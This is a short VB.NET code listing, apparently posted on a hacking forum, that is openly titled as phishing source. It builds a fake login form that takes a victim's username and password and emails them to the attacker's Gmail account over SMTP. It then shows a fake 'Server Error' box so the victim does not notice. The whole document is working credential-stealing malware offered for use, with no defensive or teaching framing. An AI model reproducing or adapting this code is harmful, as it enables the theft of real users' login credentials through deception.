[VB.NET] Source Phising

'Set to function
'Join Group FORUM DISKUSI CYBER INDONESIA
'
Imports System.Net.Mail
'
'Make 2 Textbox and 1 CommandButton
' Use the code to command buton
If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!", MsgBoxStyle.Critical, "Server Error")